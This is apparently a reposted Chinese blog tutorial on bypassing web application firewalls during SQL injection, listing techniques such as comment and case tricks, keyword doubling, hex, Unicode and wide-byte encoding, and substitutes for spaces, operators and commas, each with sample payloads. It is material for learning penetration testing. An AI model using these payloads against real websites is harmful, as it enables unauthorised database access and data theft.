SQL注入绕过的姿势

2023-11-02

1.注释符绕过
常用的注释符有:

1)-- 注释内容

2)# 注释内容

3)/注释内容/

eg:union select 1,2#

union select 1,2 --+

构造闭合 ’ union select 1,2’

2.大小写绕过
常用于 waf的正则对大小写不敏感的情况。

eg:uniOn selEct 1,2

3.内联注释绕过
内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。别和注释/*… */搞混了。

eg:union /!select/ 1,2

4.双写关键字绕过
一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。

eg:union seselectlect 1,2

5.特殊编码绕过
1)十六进制绕过

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name=0x61645F6C696E6B

2)ascii编码绕过

eg:Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

3)Unicode编码

常用的几个符号的一些Unicode编码:

单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

6.空格过滤绕过
可代替空格的方式:

1)/**/

2)()

3)回车(url编码中的%0a)

4)`(tap键上面的按钮)

5)tap

6)两个空格

eg:union//select//1,2

select(passwd)from(users) #注意括号中不能含有*

selectpasswdfromusers

7.过滤or and xor(异或) not 绕过

and = &&

or = ||

xor = |

not = !

8.过滤等号=绕过

1)不加通配符的like执行的效果和=一致,所以可以用来绕过。

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name like “users”

2)rlike:模糊匹配,只要字段的值中存在要查找的 部分
就会被选择出来,用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name rlike “users”

3)regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name regexp “users”

4)使用大小于号来绕过

eg:select * from users where id > 1 and id < 3

5)<> 等价于 !=,所以在前面再加一个!结果就是等号了

eg:select * from users where !(id <> 1)

9.过滤大小于号绕过
在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。

1)greatest(n1, n2, n3…):返回n中的最大值

eg:select * from users where id = 1 and
greatest(ascii(substr(username,1,1)),1)=116

2)least(n1,n2,n3…):返回n中的最小值,与上同理。

3)strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回
1

eg:select * from users where id = 1 and
strcmp(ascii(substr(username,1,1)),117)

4)in关键字

eg:select * from users where id = 1 and substr(username,1,1) in (‘t’)

5)between a and b:范围在a-b之间,包括a、b。

eg:select * from users where id between 1 and 2

select * from users where id between 1 and 1

10过滤引号绕过

1)使用十六进制

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name=0x61645F6C696E6B

2)宽字节,常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。%27表示 ‘(单引号),单引号会被转义成’

eg:%E6’ union select 1,2 #

%df%27 union select 1,2,3 #

11.过滤逗号绕过

1)如果waf过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for
len,其中pos代表从pos个开始读取len长度的子串 eg:常规写法 select substr(“string”,1,3)

若过滤了逗号,可以使用from pos for len来取代 select substr(“string” from 1 for 3)

sql盲注中 select ascii(substr(database() from 1 for 1)) > 110

2)也可使用join关键字来绕过

eg:select * from users union select * from (select 1)a join (select
2)b join(select 3)c

上式等价于 union select 1,2,3

3)使用like关键字,适用于substr()等提取子串的函数中的逗号

eg:select user() like “t%”

上式等价于 select ascii(substr(user(),1,1))=114

5)使用offset关键字,适用于limit中的逗号被过滤的情况,limit 2,1等价于limit 1 offset 2

eg:select * from users limit 1 offset 2

上式等价于 select * from users limit 2,1

12.过滤函数绕过

1)sleep() -->benchmark()

MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。
参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式

eg:select 1,2 and benchmark(1000000000,1)

2)ascii()–>hex()、bin(),替代之后再使用对应的进制转string即可

3)group_concat()–>concat_ws(),第一个参数为分隔符

eg:mysql> select concat_ws(“,”,“str1”,“str2”)

4)substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()

5)user() --> @@user、datadir–>@@datadir

6)ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。

13.缓冲区溢出

缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

eg:?id=1 and (select 1)=(Select
0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

作者:joker0xxx3
出处:https://www.cnblogs.com/joker-vip/

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入绕过的姿势 的相关文章

  • 一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • MIT_线性代数笔记:复习二

    目录 第二单元主要内容 例题 第二单元主要内容 正交矩阵 Q 用矩阵形式描述正交性质 投影矩阵 P 最小二乘法 在方程无解时求 最优解 Gram Schmidt 正交化 从任意一组基得到标准正交基 策略是从向量 中减去投影到其它向量方向的分
  • 电脑快速打开计算器的方法

    大家好 我是爱你三千遍斯塔克 我们平常在运算时 经常要要使用计算器 那么计算器有什么快速打开方法吗 这里有一些参考方法 可供大家进行参考 希望对大家有帮助 希望你喜欢我的内容 记得关注我哦 我会继续为大家带来更好的作 1 win R 打开运
  • 掌握内网渗透之道,成为实战高手,看《内网渗透实战攻略》就够了

    文末送书 文末送书 今天推荐一本网络安全领域优质书籍 内网渗透实战攻略 文章目录 前言 如何阅读本书 目录 文末送书 前言 当今 网络系统面临着越来越严峻的安全挑战 在众多的安全挑战中 一种有组织 有特定目标 长时间持续的新型网络攻击日益猖
  • 【网络安全】Web缓存欺骗攻击原理及攻防实战

    Web缓存欺骗是一种新的攻击方式 危害范围可扩大至各种技术及框架 本文仅分享Web缓存攻击知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 文章目录 前言 攻击前提及原理 实例一 ChatGPT帐户接管漏洞 实例二 P
  • 信号浪涌保护器的原理和行业应用方案

    信号浪涌保护器 Surge Protective Device 简称SPD 是一种用于限制信号线路中瞬态过电压和分泄浪涌电流的防雷装置 主要用于保护各类信号线路及设备的防雷安全 信号浪涌保护器的原理是利用气体放电管 压敏电阻 齐纳二极管等非
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制_raylink todesk

    目录 一 前言 二 远程控制中的安全威胁 三 国内外远控软件安全机制 ToDesk RayLink Teamviewer Splashtop 四 安全远控预防 一 前言 近期 远程控制话题再一次引起关注 据相关新闻报道 不少不法分子利用远程
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 网络安全(黑客)自学

    1 网络安全是什么 网络安全可以基于攻击和防御视角来分类 我们经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 2 网络安全市场 一 是市场需求量高 二 则是发展相对成熟入门比较容易 3 所需要的
  • 渗透测试常用工具汇总_渗透测试实战

    1 Wireshark Wireshark 前称Ethereal 是一个网络分包分析软件 是世界上使用最多的网络协议分析器 Wireshark 兼容所有主要的操作系统 如 Windows Linux macOS 和 Solaris kali
  • windows 杀死占用端口的程序

    在Windows上 你可以使用以下命令来查找并杀死占用某个端口 如9200 的程序 打开命令提示符 Command Prompt 或者PowerShell 运行以下命令来查找占用9200端口的程序的进程ID PID netstat ano
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 内网安全:隧道技术详解

    目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一 CS反向连接上线 拿下Win2008 一 使用转发代理上线创建监听器 二 上传后门执行上线 隧道技术 SMB协议 SMB协议介绍
  • 全网最全(黑客)网络安全自学路线!熬夜两周整理(巨详细)

    学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想成为计算机
  • 【安全】mybatis中#{}和${}导致sql注入问题及解决办法

    0 问题 使用mybatis的时候遇到了 和 可能导致sql注入的问题 1 预先了解 1 底层通过prepareStatement对当前传入的sql进行了预编译 一个 被解析为一个参数占位符 解析之后会将String类型的数据自动加上引号
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学

随机推荐

  • LeetCode 刷题 14. 最长公共前缀

    LeetCode 刷题 14 最长公共前缀 题目链接点此 class Solution def longestCommonPrefix self strs List str gt str strs sort re for i j in zi
  • 制造业企业为什么都纷纷上MES系统?

    什么是MES系统 MES管理系统是一套面向制造企业车间执行层的生产信息化管理系统 它可以为企业打造一个扎实 可靠 全面 可行的制造协同管理平台 作为企业车间信息化管理技术的系统 制造执行系统MES在实现生产过程的自动化 智能化 网络化等方面
  • 用IDEA测试代码覆盖度

    IDEA自身就带有代码覆盖度测试工具 无需下载或安装其他任何工具 以下我们以P1 Graph为例讲一讲怎么用IDEA测试代码覆盖度 1 右键单击P1 Graph 2 点击Run Tests in P1 Graph 3 运行测试结束后再次右键
  • 出现windows启动服务失败(无法从命令行或调试器启动,需要安装InstallUtil.exe)的解决办法...

    两种方法1 从命令行安装2 选择项目 视图 自定义操作 然后将 安装 提交 回滚 卸载分别加入自定义操作 注意InstallClass属性为true 转载于 https www cnblogs com lovezhaolei p 38178
  • simclrv2框架

    机器学习 Machine Learning Huge Self Supervised Models are Strong Semi Supervised learners 巨大的自我监督模型是强大的半监督学习者 目录 Table of Co
  • 斐波那契(Fibonacci)查找算法

    一 黄金分割和斐波那契数列 二者的关系 黄金分割 这个词经常出现在一些建筑物的设计 黄金分割的近似值是0 618 斐波那契数列又称黄金比例数列 指的是这样的数列 1 1 2 3 5 8 13 21 34 这个数列从第三项开始 每一项都等于前
  • WebSocket协议介绍

    文章目录 前言 一 WebSocket是什么 二 WebSocket出现之前的实时技术 三 WebSocket应用场景 四 WebSocket协议栈 五 WebSocket与HTTP的区别 六 WebSocket握手过程 七 WebSock
  • 使用win10专业版自带远程桌面公司内网电脑

    在现代社会中 各类电子硬件已经遍布我们身边 除了应用在个人娱乐场景的消费类电子产品外 各项工作也离不开电脑的帮助 特别是涉及到数据采集和储存的场景 如安保监控 自动化流程等等 更是离不开电脑 在一般情况下 这些数据采集和记录的电脑会自成一个
  • OpenCV4Android开发之旅(一)----OpenCV2.4简介及 app通过Java接口调用OpenCV的示例

    开发环境 windows ADT Bundle CDT OpenCV 2 4 4 android sdk 一 OpenCV2 4简介 OpenCV近年来发展迅猛 随着Android智能终端的发展 越来越多的传统科研平台都转向Android移
  • WIn10防火墙入站规则设置无效

    在将自己的笔记本纳入监控系统监控 通过SNMP进行监控 的过程中 遇到了服务无法开通的问题 笔记本是Win10的系统 并且是需要跨网段提供服务的 开通SNMP服务 首先要开通SNMP服务 安装 控制面板 gt 程序 gt 启用或关闭Wind
  • 成功编译RenderingPluginExample53的cpp项目的步骤

    备忘 unity中调用d3d功能的示例项目 两个方面的配置 1 为了在项目中能够找到d3d12 h d3d11 h d3d9 h等 做如下操作 在项目属性中 VC 目录 包含目录 中添加 C Program Files x86 Window
  • pclpy安装及安装过程中踩的坑

    由于学习需要不得不安装pclpy 一直踩坑 找了一下午才把问题解决了 特此记录 希望各位童鞋能够节约时间 1 创建虚拟环境 选择python版本 目前支持两个版本python 3 6以及python 3 7 windows系统 如果pyth
  • Python快速入门,看这一篇就够了

    大家好 我是老三 我最近在看一些人工智能相关的东西 大部分相关的框架 都是用Pyhon写的 老三会用Python 但谈不上多熟练 最近准备拿Python作为自己的第二语言 那么这期我们来一起快速梳理一下Python基础 起步 Python简
  • MODIS数据的简介和下载(二)——MODIS数据下载方式(FTP)

    前一篇我们已经介绍了MODIS数据的简介 参数以及相关的典型应用 这一篇我们来介绍下MODIS数据的下载方式 当然这边主要是介绍国外网站的下载方式 国内网站的普遍是在地理空间数据云和遥感集市下载 国外网站 NASA官网 下载方式主要介绍两种
  • 区块链中的哈希函数

    小白如何秒懂区块链中的哈希计算 当我在区块链的学习过程中 发现有一个词像幽灵一样反复出现 哈希 英文写作 HASH 那位说 拉稀 同学你给我出去 这个 哈希 据说是来源于密码学的一个函数 尝试搜一搜 论文出来一堆一堆的 不是横式就是竖式 不
  • 牛客网-网易2018校园招聘编程题真题集合-解题思路及源码

    因为牛客网上的题目内容有版权声明 暂时就不复制题目了 需要的同学请自行登录牛客网获取 1 魔法币 思路 分析题目中发现 魔法机器1只能产生奇数的魔法币 而魔法机器2只能产生偶数的魔法币 本题目采用从结果倒推的思路 比如例子中需要10个魔法币
  • string转换成int的几种方式

    写在前面 遇到了多次oj的题目需要将string转换为int或者将int转换为string 每次遇到都是现查 一直没有好好的总结导致总是忘记 现在做个总结 首先是今天遇到的方式 采用string头文件里定义的string类型转换的函数 st
  • springboot项目配置多数据库连接

    前言 之前编写了一篇maven项目创建多数据库的方法 现在对springboot更了解之后 将把springboot项目配置多数据库的方法贴出来 从项目开始创建到调用数据库依次写出来 PS 本项目使用的是IDEA进行创建 创建springb
  • engine.js[dwr]javascript

    Copyright 2005 Joe Walker Licensed under the Apache License Version 2 0 the License you may not use this file except in
  • SQL注入绕过的姿势

    1 注释符绕过 常用的注释符有 1 注释内容 2 注释内容 3 注释内容 eg union select 1 2 union select 1 2 构造闭合 union select 1 2 2 大小写绕过 常用于 waf的正则对大小写不敏